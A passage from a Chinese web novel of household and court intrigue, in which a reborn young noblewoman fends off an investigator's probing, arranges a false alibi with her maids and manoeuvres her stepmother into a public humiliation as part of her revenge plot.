“裴大人日理万机,手中案子无数,侯府的案子没查到也正常。再说了,坠马大概率只是一场意外。事情已经发生,沉溺于痛苦当中毫无意义。更遑论怪罪不相关的人了。”
“大小姐真是生了一张巧嘴。”裴明镜忽然欺身上前,手搭在了晏逐星的轮椅上。
起身时,他的衣袖将茶盏掀翻,落在了地上,发出一声脆响。
晏逐星见他逼近,下意识地往后仰。
“你的母亲都被害得瘫痪了,我还以为你这个当女儿的会要求本官早日彻查真凶呢。”裴明镜的手掌装若无意地擦过轮椅扶手雕花,黄花梨木轮猛地向后一滑。
“小姐!”双鲤瞧见这一幕,冲了过来,不料绣鞋却踩到裴明镜早先弄翻在地的杯盖,一瞬间滑倒在地,摔了个狗啃泥。
轮椅再往后滑就是门槛,若是被卡住后翻,她势必要被摔飞出去。
晏逐星想要跳下轮椅。
但瞧见裴明镜盯着她双腿的神情,她猛地反应过来,真正的试探在这!
她双手死死抓住了轮椅扶手,露出了惊慌失措的表情,惊叫道:“裴大人,救命。”
就在轮椅后仰的刹那,裴明镜左手擒住了椅背横梁。
他俯身时官帽上的锦缎系带突然扫过晏逐星鼻尖。
他一边说着“大小姐当心。”一边将轮椅重新固定好。
失控的感觉消散,晏逐星在心底长长地舒了一口气。
她咬着唇,恨不得起身踹裴明镜一脚。
明明是他故意推她轮椅的,现在竟然还演上英雄救美了。
但她不能拆穿他。
她只是用惊魂未定的表情看着他:“多谢裴大人出手相救。”
双鲤急急忙忙地爬起来,跑到晏逐星面前仔细检查她有没有受伤,开口的瞬间眼泪夺眶而出:“小姐,您没事吧?吓死奴婢了。”<
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br>晏逐星冲她摇了摇头。
一旁的裴明镜若有所思地盯着她的腿。
“本官记得,大小姐只伤了一只腿吧。那么久了,差不多能站起来了吧。先前情况这般危急,为何不直接起身?”
晏逐星眼里浮起一层水汽,随后不甘心地砸了一下自己的腿。
“轮椅坐久了,我竟忘了,还有一只腿是能用的。”
她将掌心按在双鲤的肩头,又气又恼道:“今日起,我便不坐这轮椅了,你扶着本小姐回去。我才不当废人呢。”
双鲤赶忙用身子当做拐棍,将她支撑了起来。
“裴大人,告辞。”晏逐星不想跟他继续试探来试探去了,直接转身一瘸一拐地跟着双鲤往玉澜院走。
裴明镜牢牢地盯着她的腿,直到她的身影消失在视线当中,方才离开侯府。
出了侯府,跟着他的下属郑晗忍不住发问:“大人,您当真觉得晏大小姐是昨夜刺杀谢世孙和晏二少爷的真凶?”
“不知。”裴明镜摇了摇头。
他的直觉告诉他这事和晏逐星脱不了干系。
但没有证据的事情,他不能信口雌黄。
“属下觉得不可能吧。先不说二少爷是她的兄长,就她那双腿,走路都不利索,怎么可能跑到画舫上**。”郑晗分析了起来。
“闲话到此为止。现在去昭瑞亲王府。”裴明镜没有继续谈论晏逐星的话题。
郑晗赶忙闭上了嘴,跟着他一块去王府,继续调查。
此事事关亲王的宝贝孙儿,那可马虎不得。
*
双鲤搀扶着晏逐星回到了玉澜院。
九栀和衔蝉赶忙上前帮忙,把她扶到了床榻上。
“九栀留下给我捏捏腿,衔蝉你好好安慰安慰那丫头,给她吓坏了。”晏逐星找了个借口,将衔蝉和双鲤支走。
屋内只剩下她和九栀。
九栀紧张地询问:“小姐,如何了?可是姓裴的发现什么证据了?”
第74章 无条件帮她
晏逐星摇了摇头。
“他没找到证据,不然今日过来就不是这样试探我,而是直接将我捉拿归案了。”
听到这话,九栀放下心来:“那就好。”
晏逐星眉头依旧紧锁着:“你确定我们没有遗漏任何东西吧?你打晕海棠姑娘时,她有没有看清你的脸?”
九栀仔细回想,随后摇头:“没有落下东西。衣裳也是海棠姑娘要争花魁时穿的,在水里时我几乎都脱光了,没把东西带到岸上。”
晏逐星沉思片刻后,开口道:“嗯。总而言之,咱们只要咬死没出过院子就好。人证物证都没有的话,裴明镜也不能把我们怎么样。”
“好。”九栀点头,随后又看向了门外。
“衔蝉那边?”
晏逐星明白她的意思,皱紧的眉头舒展开:“放心吧,她什么都不会说的。”
衔蝉今日回王府,定然将她昨夜出过院子的事情告诉了谢翊宁。
若谢翊宁要拆穿她,现在昭瑞亲王府的人就该找上门兴师问罪了。
而谢翊宁却把衔蝉的**契交给了她,还让衔蝉转告她,若是遇上了难事可以去王府求助。
摆明了就打算帮她把这事遮掩过去。
不过就算谢翊宁不帮她,她也留好了后招祸水东引。
好在让她试探成功了。
谢翊宁对她的宽容程度远比她想的还要深。
听到她这么说,九栀也就不担心了,专心替她捏腿。
“你也累了,休息一会吧,把衔蝉叫来,我有话要问她。”晏逐星想来想去,总觉得只有那一箭的救命之恩,谢翊宁不该为她做到这个地步。
说到底,他和谢锦程都是皇家人,他为何会无条件地帮她。
没过一会儿,衔蝉就来了。
“小姐寻奴婢何事?”衔蝉规规矩矩地站在一旁。
“今日你回王府,王府有什么特别的事情吗?或者说,王爷在见你之前,做了什么?”晏逐星开门见山询问。
衔蝉不敢迟疑。
毕竟她现在已经是大小姐的人了。
她赶忙道:“没什么特别的。不过,国师大人出关回宫了,将王爷请进了宫里。”
“国师出关了?”晏逐星沉吟不语。
她仔细回想上辈子的事情,似乎直到她战死在沙场上,都没听说过国师出关一事。
如今他忽然出关,是为了什么?
当初就是他断言的谢翊宁活不过二十岁。
想到这,晏逐星心下一动,莫不是国师找到了给谢翊宁续命的法子?
又或者是国师知道了他重生的事情?
那国师会不会也知道她重生的事情了?
晏逐星好不容易放下的心又悬了起来。
她并不想让别人知道她重生的事情。
见她迟迟不语,衔蝉忍不住开口:“小姐,是遇上什么难事了吗,可要奴婢去找王爷?”
“不必。”晏逐星果断拒绝。
“我没遇上什么难事。”
她抬眸瞥了衔蝉一眼:“若是裴大人找你问起昨夜的事。”
衔蝉赶忙道:“昨夜小姐一直在院中休息,我还替您沐发了。您累了,早早就歇下了。”
“嗯。就这么说吧。你找衔蝉和九栀她们说会话去吧。”晏逐星让她也离开了。
她想自己一个人静一静。
她闭上眼眸,在脑海里回想着定远侯府这些人的下场。
温如霜瘫痪,晏明月面容已毁,晏明修也瞎了一只眼睛,之后要他们的命,那可就简单多了。
只需让一些人不停地揭开他们的伤疤,刺激他们,让他们自己不想活就好。
也不会脏了她的手。
他们若迟迟不肯**,那她再帮他们一把。
如今仇人只剩定远侯和晏明远了。
这两人该怎么对付,她得仔细谋划谋划。
*
裴明镜离开定远侯府时,跟着他的停云也回了王府。
照夜负责在醉花楼扫尾,他负责盯裴明镜。
毕竟裴明镜惯会抽丝剥茧的,查案时连耗子洞都掏得干干净净。
万一真让他找到什么不利于晏大小姐的证据,那可就麻烦了。
盯着他,还可以抢先一步将证据抢回。
只是他没想到,没看到什么证据,反倒看到裴明镜试探晏大小姐的场景。
“王爷,属下亲眼瞧见了,裴大人想推翻晏大小姐的轮椅,从而套话。”停云绘声绘色地描述着当时的场景。
谢翊宁眉头微蹙:“裴明镜是不是吃饱了撑的,这样刁难一个小姑娘。”
他有些不高兴了。
晏逐星又不是犯人,凭什么审问她。
再说了,问话就问话,吓唬小姑娘做什么。
真是个没风度的东西。
“备马车,本王要去昭瑞王府。”他冷哼一声,披上狐裘准备出门。
停云一愣:“去探望世孙么?”
“他也配?”谢翊宁嗤笑一声,当做回答。
停云猛地反应过来。
王爷不会是要去找裴大人算账吧?
他顿时对之前叮嘱他的照夜肃然起敬。
还是照夜看得透啊。
王爷偏爱一个人的时候,是不需要理
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由的。
尤其是那个人还是他的恩人,就更不能受欺负了。
这下,裴大人要遭殃咯。
*
“什么,永安王来了?”谢锦程的父亲谢清安大吃一惊。
谢翊宁只有在父亲六十大寿那年来过他们王府,这一回怎么登门了?
难不成是皇上对锦程受伤一事有什么指示?
他想不明白,赶紧去告知父王。
“这活祖宗来做什么?”昭瑞亲王皱起了眉头,也不清楚谢翊宁此行的目的究竟是什么。
那小子从小受宠,在整个京城几乎可以说是横着走。
就算他是当今皇上唯一在世的伯父,对着那小子他也不敢摆长辈的谱。
毕竟谁都知道他活不过弱冠之年,皇帝偏宠他至极,活脱脱一个易碎的琉璃祖宗。
当年太后刚在皇后请安时挑刺,他立马捂着胸口倒下,嚷嚷着被太后吓着了好像活不了了,惊得太医打翻了药箱。
自那之后,太后稍微针对皇后一点,他就往地上躺,硬生生逼得太后十几年都没去过未央宫。
“不知。”谢清安摇了摇头,也很疑惑。
“罢了,请他进来吧,省得待会晕在王府门口赖上咱家。”昭瑞亲王不情不愿地让人把他请进来。
谢翊宁刚被请进府,裴明镜也问完话打算离开。
二人撞见,裴明镜便依照规矩给谢翊宁行礼:“微臣参见永安王。”
“哟,可真是巧了,竟在王府遇见了裴大人。”谢翊宁笑眯眯地看着他。
裴明镜浅浅一笑,拱手道别就要离开:“下官还有要事在身,先回京兆府了。”
“本王也要去京兆府,不如本王送你一程?”谢翊宁还没踏进王府正厅,就调了个头,走到了裴明镜身边。
“下官有自己的马车,就不劳烦王爷了。”裴明镜客气拒绝。
没想到,话音刚落,车夫就急匆匆地跑了过来。
“大人,车轮不知怎的坏了,恐不能送大人去京兆府了。”
裴明镜收起了笑意,看向谢翊宁,语气淡漠:“看来王爷今日一定要下官去京兆府了?”
“那倒也不是。你若不想坐本王的马车,本王必不会强人所难。”谢翊宁仿佛没听出他话中带刺,眉梢一扬,春水般的笑意在眼底荡开,让人晃花了眼。
他慢悠悠地继续开口:“只是本王一片好意被大人辜负,难免会有些伤心。”
裴明镜听完这话,改了主意。
他想知道谢翊宁为什么非要和他一块去京兆府。
“那就有劳王爷了。”
第75章 故意误导他
“就这么走了?”谢清安一脸懵。
昭瑞亲王看着他离去的背影,反应了过来。
“他是来找裴明镜的。”
“他找裴明镜做什么?”谢清安想不明白。
“管他做什么,横竖影响不到咱们王府。”昭瑞亲王板着脸看着儿子。
“当务之急,是抓到伤害锦程的凶手。还有,定远侯府那边,必须要给咱们一个说法。若不是他家老二招惹了风流债,又怎么会害得锦程出事。”
谢清安一时有些心虚。
若是说风流债,恐怕还是儿子欠的更多。
定远侯府的次子,好像没听说过有什么沾花惹草的习惯。
不过儿子做的那些事,他都替他瞒着了,此事可万万不能让父亲知道。
于是他点了点头:“父王放心,儿子明日就去找他们要说法!”
“锦程那孩子,你多看着点,别让他想不开了。”昭瑞亲王提起小孙子,叹了一口气。
一个大男人变成了废人,这样的打击,一般人都遭受不住。
“若是让我抓到伤害锦程的凶手,我定要将她扒皮抽筋,**万段!”谢清安想到儿子就这样绝了后,气得咬牙切齿。
锦程还未成婚,就被毁了,以后可怎么办呀。
*
裴明镜上了谢翊宁的马车。
上车后,见谢翊宁没有和他说话的意思,他便一言不发地闭目养神。
马车平稳地行驶着。
走到半路,谢翊宁忽然开口:“停云,你怎么驾的车,这么慢,若是耽误了裴大人的要事可怎么办?”
“属下知道了。”停云挥着马鞭,忽然加速。
裴明镜毫无防备,一个不留神身子便往右侧倾倒。他慌忙扑向身旁的长凳,还没抓稳,谁知车辕又猛地一震,马车又疯了一样往前冲。
车门甩开,他像断了线的纸鸢一般直往车外栽,冷风灌进领口,他半个身子都悬空在外。
就在他以为自己要摔下去时,谢翊宁甩出一根长鞭勾住了他的腰身,将他整个人拽回了马车。
“裴大人,当心啊。”
他话音落下,马车稳稳停住。
裴明镜后腰撞上马车上的小几,疼得他微微皱眉。
先前那场“意外”,让他头顶的官帽歪斜着卡住鬓角,看着有些狼狈。
而谢翊宁仍端坐在织锦软垫间,衣袍平整地压着暗纹厢壁,似乎不受半点影响。
裴明镜眸色微冷。
他一瞬间就想到了先前在定远侯府时,他就是这么吓唬晏逐星的。
永安王这一回莫不是有意而为之?
他和晏逐星,到底是什么关系。
谢翊宁不在乎他打量的神色,看向停云,淡淡道:“你怎么驾的车,还不向裴大人请罪。”
停云连躬身行礼:“这马不知道吃错了什么东西,忽然犯了病。还请王爷和裴大人宽恕小的。”
“本官受了伤不要紧,若是王爷受伤了,那可就麻烦了。为了王爷的安全着想,下官以为王爷还是换个马夫吧。”裴明镜跳下马车。
“多谢裴大人提醒,不过本王觉得他挺好的,不需要换。”谢翊宁脸上的笑容比起先前更灿烂了。
笑容明晃晃写着“我就是故意的,你能把我怎么着”。
裴明镜垂眸,行礼:“下官还有要务在身,先告辞了。”
“裴大人慢~走~啊~”谢翊宁挥手跟他告别。
看着裴明镜消失的身影,停云忍不住问道:“王爷,就这样结束了吗?”
“不然呢。”谢翊宁从马车里伸出扇子,狠狠敲了一下他的脑袋。
“这叫以其人之道还治其人之身。裴明镜又没干什么伤天害理的事情,吓唬吓唬得了。省得太后找我麻烦。”
停云:?
合着王爷出
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门绕了这么一大圈,就是为了吓唬裴大人?
他揉了揉自己的脑袋:“王爷英明。”
而后跳上马车,扯着缰绳准备驾车。
他询问道:“王爷,咱们现在去哪?”
谢翊宁懒洋洋地斜靠在马车上:“回府吧。外边没什么意思,还不如回府吃锅子。”
听到吃锅子,停云眼前一亮:“王爷,那今晚我能加一份羊肉么?”
“行啊,今日你表现不错,再给你加个猪脑。大补。”谢翊宁弯了弯唇角。
停云:……
他怀疑王爷在阴阳怪气,但他没有证据。
但想到晚上有羊肉吃,他又开心地哼起了小曲儿。
“驾——”
*
裴明镜步行回了京兆府,掸了掸身上的雪,命下属将昨夜的证供呈上来。顺便又把今日在定远侯府和昭瑞亲王府记下的口供仔细核对了一遍。
谢锦程称行刺之人是冲着晏明修去的,可据他调查,晏明修既无宿敌,亦无红粉债,交游简单。
不该惹上这样的祸事。
反倒是谢锦程素来行事荒唐,极有可能被报复。
毕竟行刺之人是直接冲着他那处去的,显然恨透了他。
可万一行刺之人是故意误导他的呢?
裴明镜一瞬间想到了这个可能。
若一开始那人的目标就是晏明修,伤谢锦程不过是顺带的事情,那他们调查的方向就全错了。
晏明修究竟得罪了谁?
裴明镜脑海里闪过了晏逐星的脸。
但他把那些证据翻来覆去地看了十几遍,都没能看出晏逐星和这件事有什么关联。
他摸了摸隐隐作痛的后腰,想到了先前谢翊宁的举动。
面前的烛火突然爆了个灯花,惊得他一怔,脑海里的迷雾像是被风吹散了。
他盯着摇曳的烛火,脑海闪过一个大胆的猜测。
第76章 若是心仪她
若是谢翊宁心仪晏逐星,认为当初是侯府众人欺辱了她,因而痛下**,博美人一笑。
这样,好像一切就说得通了。
晏逐星不必亲自动手,自有人替她做完这一切。
他又想起上回定远侯夫人坠下马车时,谢翊宁到得很快,还专程带上了季太医。
还有上上回烈国公世子被下药,晏逐星被围困在树上时,好像也是谢翊宁先他一步抵达了侯府。
后来还给了晏逐星一个王府出来的侍女当做护身符,让定远侯府的人不敢再责备她。
他能想起来的就是这些。
可这两人怎么看都毫无交集,谢翊宁究竟为何会钟情于晏逐星?
“你替我查查永安王和定远侯府大小姐,这两人私下可曾秘有过什么接触?”裴明镜叫来了下属。
郑晗一听这话慌忙拱手作揖:“大人,没这个必要吧。”
去查永安王,他又不是活腻了。
裴明镜眉头皱起,淡淡道:“本官怀疑他和晏大小姐与醉花楼画舫刺杀一事有关,查案需要,你无需惊慌。”
“大人,您这猜得也太离谱了吧。”郑晗露出了一副无奈的模样。
瞥见裴明镜凌厉的眼神,他立刻站直了身子,不敢再嬉皮笑脸。
他小心翼翼道:“永安王殿下何等尊贵。他若真想伤人,岂会用这种偷偷摸摸的手段,肯定直接把人给砍了。”
“还有那位侯府大小姐,腿受了伤,走路都歪七扭八的,别说**了,我看她杀鸡都杀不了吧。”
他说到最后,被裴明镜看得底气不足,声音都变成了嘟囔。
“再说了,待会刑部和大理寺会来人接手此案,咱们没必要多费心思吧。”
裴明镜垂眸不语。
此案涉及皇室宗亲,按理确实该交给刑部和大理寺联合审理,他们京兆府无需过多干涉。
但他总觉得这事透露着古怪,还想要继续查下去。
正思索着,刑部清吏司主事赵琰舟和大理寺左寺正崔执璧一前一后地来了。
赵琰舟上前半步,客客气气道:“裴大人,此案事涉昭瑞亲王府的世孙,下官奉尚书台手谕前来调取案牍。”
崔执璧也从袖中取出朱批黄绫,态度恭敬:“宫中递出口谕,着大理寺督办此案。烦请大人将案卷交给下官带走。”
裴明镜沉默片刻后,还是点头应下:“二位大人既携律令圣意而来,本官自该配合二位行事。郑晗,命人将檀木匣里的案卷抬来,着人随两位大人核验封存。”
“多谢裴大人。”两人同时给他行礼,而后跟着郑晗离开。
人走后,裴明镜依旧思索着谢翊宁和晏逐星的关系。
他实在是好奇,晏逐星究竟是用了什么手段,让永安王对她这般维护。
他今日不过在侯府吓了晏逐星一回,他竟然等不到第二日就要替她报复回来。
裴明镜指尖摩挲着桌上的青玉镇纸,唇角微微勾了起来。
“攀、高、枝?有点意思。”
他对晏逐星真是越来越感兴趣了。
初见时,她是侯府里任人欺辱的嫡女,那双湿漉漉的眼睛竟让他难得心软。明知她故意扯自己名头当幌子,却鬼使神差没揭穿。
谁知没过多久,烈国公夫妇忽然要将她认作义女。
更让他没想到的是,素来目中无人的永安王如今竟有意庇护她左右。
是他小瞧了她。
这位大小姐攀高枝的本事,倒真是越来越厉害了。
*
“晏明修呢?叫他滚来给小爷赔命!”被废了的谢锦程在屋内嘶声咆哮。
他不敢有大动作,稍一动弹,胯下便传来撕裂般的剧痛。
他悔恨交加。
原本不过是去醉花楼选个花魁,怎料一夜之间竟遭此毒手,命根子都被人废了。
都怪晏明修!
若不是他,自己怎会遭此大劫?
千不该万不该,他就不该叫晏明修一同去那醉花楼。
谢锦程心中的悔意每深一分,那股散不去的邪火便又窜高三尺!
他气得猛地抓起手边矮几上温着的药碗,看也不看,用尽全身力气狠狠砸向对面的雕花屏风。
“哐啷——!”
瓷片伴着滚烫的药汁四散飞溅。
整个屋子瞬间一片狼藉,伺候他的丫鬟们已经吓得眼泪在眼眶里直打转。
他闹了那么一圈,郡王妃郝氏急匆匆地赶了过来。
“锦程,你莫要起身,好好休息才是。”她看着儿子,心如刀绞。
“休息,我都成了废人了,你怎么不让我去棺材里休息。”谢锦程双目猩红,宛若一只受伤的困兽,见到谁都没有一个好脸色,只有无穷无尽的恨
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意。
郝氏心下酸涩难耐,她哑着嗓子道:“我知道你难受,可……”
话还没说完,谢锦程就将桌上的黄铜烛台砸了过来。
“你知道什么知道,我说了,我要见晏明修,你们不让他来见我,就是逼我**。他不死,就是我死!”谢锦程声嘶力竭地威胁。
他若见不到晏明修,他不甘心。
凭什么只有他受这样的苦。
郝氏见儿子像是疯了一般,根本听不进任何话,惊得退后好几步,赶忙命人将夫君请来。
谢清安也心疼儿子,因而便又派人去定远侯府讨要说法。
让他们必须交出晏明修。
定远侯一看到昭瑞亲王府的人就头疼。
如今真凶尚未查清,不过一天一夜的功夫,昭瑞亲王府便派人来了两趟。
“晏鸿升,他们说要人你就给?你连儿子都护不住,你还是男人么!”温如霜哪儿也不去,就守在儿子的院子里,就怕定远侯将晏明修送走。
“你以为我就舍得把他送出去么!”定远侯两头受气,心里烦得不行。
“可昭瑞亲王乃是当今圣上的伯父,谢锦程又是他唯一的孙儿,废了王府的血脉,岂是几句话就能糊弄过去的。”
“我不管什么王爷王府,谁也不准动我的明修。”温如霜将金钗抵在自己的脖颈处。
“你若将儿子交出去,便给我收尸吧。到时候,我兄长定会上奏,参你一个逼死发妻的罪名。”
定远侯被她气得七窍生烟,拂袖便走。
若是真逼**温如霜,温家那边要如何交代?
可昭瑞亲王府那头,又当如何?
两相逼迫之下,他感觉有些喘不上气来。
刚出院门,迎面正撞上匆匆而来的晏逐星。
“父亲。”
“你来做什么?回你的玉澜院去,莫在此处添乱!”定远侯眉头紧锁,不耐地挥手驱赶,眉宇间是化不开的疲惫与焦躁。
若让她与温如霜对上,少不得又是一场鸡飞狗跳。
此刻他心烦意乱,哪有心思替她们调停。
晏逐星并未离开,露出了一抹关切的表情:“父亲息怒。女儿见父亲这般忧思劳神,实在于心不忍。”
她微微一顿,继续道:“女儿苦思良久,有一拙计,或可解父亲心头之忧,免去这两难的局面。”
第77章 丢脸丢大了
“哦?说来听听。”定远侯目光沉沉,语气里透着一丝不以为然,显然并未抱多大期望。
“此事母亲出面,或许可有一线转机。”晏逐星斟酌着开口,将温如霜推了出来。
“她?”定远侯眉头紧锁,一时间没反应过来,“她一个瘫在床上的人,能顶什么用?”
晏逐星微微垂首:“父亲明鉴。母亲虽行动不便,但舐犊之情最是深切,由她亲自前往王府致歉请罪正正好。”
她稍作停顿,抬眼观察着定远侯的神色。
见他并未反对,晏逐星继续道:“试想一下,一位为子忧心如焚,不顾残躯艰难前来求情的母亲。此情此景,落在旁人眼中,王府若再行苛责刁难之举,恐怕……”
晏逐星没有说完,但未尽之意已然明了。
定远侯眼前一亮。
在王府大门口,一个当娘的为了救儿子拖着个废掉的身子,被人抬着也要去磕头认错、求他们高抬贵手……
这得多惨?多可怜?旁边看热闹的人会怎么说?
王府那些人就算心里再恨,面上总得装装样子。
要是对着这么个瘫子还喊打喊杀的,不说文武百官,京城百姓们的唾沫星子都能淹死他们。
定远侯刚想点头,心里又有点打鼓:“这法子会不会反而更得罪昭瑞亲王啊?”
“父亲,”晏逐星语气平静,却直击要害,“您先前没把二哥交出去,这梁子就已经结下了。”
这话正戳中了定远侯的心病。
昭瑞亲王那一脉是出了名的记仇,睚眦必报。
他之前三番几次推脱,没有交出晏明修,这仇怨怕是早就种下了。
想来想去,眼下也只有这个法子能试一试了。
先拖住一时是一时,等真凶查出来,事情就好办了。
定远侯松了口气,脸上终于带了点笑。
他伸手拍了拍晏逐星的肩膀:“幸亏还有你在。要没你帮爹爹出主意,爹爹怕是愁得觉都睡不安稳喽。”
晏逐星眼帘低垂,乖巧道:“替父亲分忧,是女儿的本分。”
“好孩子!”定远侯满意地点头,随即扬声唤来管家。
“林平,带小姐去库房,让她挑几样合心意的玩意儿,不拘什么,只要星儿喜欢,都行。”
“是,侯爷。”管家连忙躬身应下。
晏逐星温顺开口:“多谢父亲。”
看着定远侯离去的背影,晏逐星唇角勾起一抹若有似无的笑意。
温如霜最不愿让人瞧见她如今的狼狈不堪模样,也不知道为了晏明修,心高气傲的她可愿豁出这仅剩的尊严体面,为儿子争一丝活路。
*
“你让我去求他们?”温如霜指着自己动弹不得的双腿,脸上写满了荒谬与难以置信。
她如今连挪动半分都要人帮忙,恨不得挖个洞将自己藏起来,隔绝所有窥探怜悯的目光。
定远侯竟还要她拖着这废体去王府抛头露面,摇尾乞怜?
“此事你去最为妥当。”定远侯压下心头的不耐,尽量让语气显得诚恳。
“妇人家最是心软,尤其是做母亲的。你亲自去,姿态放低些,哭诉一下明修的处境,郡王妃也是母亲,想必能感同身受,不会过多为难你,更不会再揪着明修不放。”
温如霜闭上眼,胸口剧烈起伏着,**感像冰冷的毒蛇缠绕着她全身,紧紧收紧,几乎让她要喘不过气来。
她想要拒绝,但眼前却浮现出晏明修苍白惊惶的脸。
若是让他去给谢锦程赔罪,按照谢锦程那个性子,恐怕人是竖着进去的,出来的时候就是横着的了。
定远侯见她迟迟不吭声,忍不住开口:“你若不去,就只能让明修去了。”
温如霜听到这话猛地睁开眼,眼中带着熊熊怒火和深不见底的怨恨。
她死死盯着定远侯,从牙缝里挤出一句话:“好。我去。”
听闻定远侯府的人来赔罪。
谢锦程脸上洋溢出亢奋的笑容。
他现在最恨的不是那个找不到踪影的凶手,而是晏明修。
“把晏明修带过来,让他给小爷好好请罪!”谢锦程下了命令。
然而前来通报此事的小厮面露为难,他支支吾吾道:“晏二公子没来,来的是定远侯夫人。”
“什么?”谢锦程好不容易压下去的怒火又冒了上来。
“那个死老太婆来做什么?”
他一脚踢飞了床边的小凳。
结果因为幅度太大扯着裆下,包着的纱布瞬间渗出了血,疼得他赶忙用双手捂住了下半身嗷嗷直叫。
小厮赶忙低下头,生怕自己控制不住嘴角上扬会被拖出去打死。
谢锦程顾不得追问为什么来的是温如霜,尖叫了起来:“太医,还不快去给小爷请太医。”
小厮匆匆忙忙地跑了出去请太医。
王府又一次乱了起来。
听闻温如霜来道歉将儿子气得下体又渗血了,郝氏愈发恼怒了。
“他们竟敢阳奉阴违?不是说了让晏明修来给京城赔罪的么。竟然敢戏弄咱们王府,就说锦程病了,我
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没空见她,让她在外边等着吧。”
“是。”
下人得了她的命令,将大门紧闭,把定远侯府来的人晾在了外边。
温如霜坐在轿子里,咬牙切齿。
虽然来之前她就已经想到了可能会被王府的人羞辱,但她万万没想到,对方连门都不让她进。
她一狠心,干脆让两个粗使婆子半抬半架着,把她抬到了王府威严的大门前。
她死死咬着下唇,直到尝到一丝血腥味,才勉强压下那几乎将她吞噬的羞耻。
终于,她抬起满是泪痕的脸,用尽全身力气,朝着那紧闭的朱漆大门,发出了凄厉悲怆的哭喊:
“求王爷命人彻查此案,早日抓住那害人的真凶,给世孙一个公道,也……也给我那苦命的儿一条活路啊!”
喊到这里,她像是被巨大的悲痛攫住,气息哽在喉间,整个人剧烈地抽搐起来,引得围观的人群一阵骚动和低呼。
婆子们慌忙扶住她下滑的身体。
温如霜猛地吸了一口气,用更绝望的声音哭嚎道:
“我的儿……我的明修……他冤枉啊!他才多大年纪……如今……如今生生被人打瞎了一只眼!成了废人一个!整日生不如死,痛不欲生……呜呜呜呜……老天爷啊,你开开眼吧!”
“王爷……您救救我儿吧……”
最后一声哀嚎耗尽了她所有力气,两个婆子再也架不住她,让她整个人瘫软下去,伏在冰冷的石阶上,无助地抽泣了起来。
王府门前,早已不知不觉围拢了一大圈人。
有路过的行人,有邻近的住户,有闻讯赶来看热闹的闲汉,还有定远侯特意雇来的人。
此刻,窃窃私语声四起:
“哎哟,造孽啊。这当娘的,都瘫了还来喊冤。”
“侯府二公子当真被打瞎了眼?这也太惨了。”
“啧啧,看看她那样儿,太可怜了。王府大门紧闭,也太不近人情了。”
“就是,好歹让人进去说句话啊。”
……
外边的情况被小厮及时传回了内院,郝氏听完被气了个倒仰。
“她、她怎么敢的?!”
京中哪个高门贵妇会像她这样不要脸,她难道不怕日后被人耻笑么?
还有,她大喊晏明修瞎了,不就是算准了他们不敢把锦程命根子被废的消息嚷嚷出去么。
郝氏被气得连郡王妃的仪态都顾不上了,破口大骂:“**!这个**!”
“谁让你把人拦在门外的。”
一声厉呵传来。
第78章 怀有身孕了
郝氏一看,是公公昭瑞亲王。
她赶忙行礼:“父王,是我一时气急,想着给她一些教训,这才……这才……”
看着公公越来越阴沉的脸,她不敢说下去了。
“好歹也是三十多岁的人了,怎么办起事来和十几岁的小丫头一样没分寸。你要磋磨人,也得让她进到王府里来呀,让她在外边闹,你是嫌不够丢人么。”昭瑞亲王一肚子的火。
他没想到定远侯府竟然敢跟他对着干,更没想到儿媳妇是个蠢猪。
“我那时候不是被锦程出血给吓到了么,就,就一时糊涂了。”郝氏红着眼眶替自己辩解。
“我也没想到她那么豁得出去啊……”
说着,眼泪就掉了下来。
嫁到王府那么多年,她还是头一回被公公训斥得这么厉害。
她真是恨死温如霜母子了。
一个瘫子,一个瞎子,竟然让她落到了这么丢人的地步。
她一定不会放过他们的。
“父王,如今也不是训斥她的时候,咱们还是想想该怎么接招吧。定远侯这一招真是够狠的。”谢清安匆匆赶了过来,维护自己的夫人。
郝氏擦掉眼泪,躲到了他身上。
昭瑞亲王没好气地看着儿子:“还能怎么办,赶紧派人去刑部和大理寺,催他们赶紧把真凶给找出来。”
如今温如霜已经昏倒在王府面前被人抬走,他们想挽救都来不及了。
“哦,好。儿子这就去办。”谢清安被父王那铜铃般的眼睛一瞪,立刻就怂了。
*
温如霜在王府门口卖惨的事情传回了定远侯府。
整个侯府上下都知道了这件事。
温如霜回来后,大发了一通脾气,将下人全都撵出了自己的院子,只留了李嬷嬷在身边伺候。
下人们都惶惶不安,而玉澜院却充满了欢声笑语。
“求王爷命人彻查此案,早日抓住那害人的真凶,给世孙一个公道,也给我那苦命的儿一条活路啊!”双鲤在晏逐星面前,活灵活现地模仿起温如霜当时的模样。
演完后,她又兴冲冲道:“小姐您是有所不知,当时有多少人看着夫人。我粗粗数了一番,至少得有四五十个人呢。我要是夫人,这么丢脸的模样被看见了,我都不想活了。”
“无妨,之后她还会有更丢脸的时候。脸面这种东西,丢啊丢啊,就该丢习惯了。”晏逐星将手中的笔放下。
这出戏唱完,下一出也该登场了。
“小姐,咱们还要做什么呀?”双鲤眨巴着眼盯着自家小姐。
自打夫人命人将她捆起来威胁小姐后,她就讨厌极了夫人。
她过得越不好,她就越高兴。
“放心,用得着你的时候我会叫你的。现在把九栀叫来。”晏逐星冲她温柔一笑。
“好咧。”双鲤点头应下,一蹦一跳地去把九栀找了过来。
九栀行礼:“大小姐,有什么吩咐?”
“把阮寄薇叫过来,时候到了。”
“好。”九栀毫不犹豫地执行了她的命令。
当初选人,是她一手操办的。
阮寄薇只认识她这张脸。
“姨娘,大小姐院子里的九栀姐姐来了。”
伺候阮寄薇的小丫鬟桃儿跑进屋通传。
“大小姐身边的丫鬟?”阮寄薇有些惊讶。
她得了神秘人的暗示,勾搭上了定远侯。
入了侯府后,勤勤恳恳地勾引着定远侯,当一个合格的宠妾。
她虽然入府时间不长,但大小姐的事情她是一件没少听。
一个假千金,能混到如今这个地步,肯定不是省油的灯。她不来找茬的话,她是坚决不会去挑衅她的。
如今,她派人来找她做什么
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“让她进来吧。”阮寄薇压下心底的疑惑,命人将九栀请了进来。
“阮姨娘,我家小姐请你到玉澜院一趟。”九栀客客气气地开口。
看清她的脸,阮寄薇惊呼出声:“是你?”
一瞬间,她就想明白了。
神秘人是大小姐的丫鬟,那么安排她入侯府的就是大小姐了。
九栀点头:“阮姨娘,请。”
阮寄薇一颗心七上八下的,没敢多问,跟着九栀去了玉澜院。
一路上,好几次她都想开口询问九栀究竟是什么情况,但还是硬生生忍住了。
见到晏逐星时,她乖巧行礼:“见过大小姐。”
“坐。”晏逐星语气十分温和。
见她不像是要对她痛下**的样子,阮寄薇悄悄在心里松了一口气。
九栀替她二人斟茶。
晏逐星却伸出手挡住了阮寄薇的杯子。
九栀和阮寄薇同时一愣。
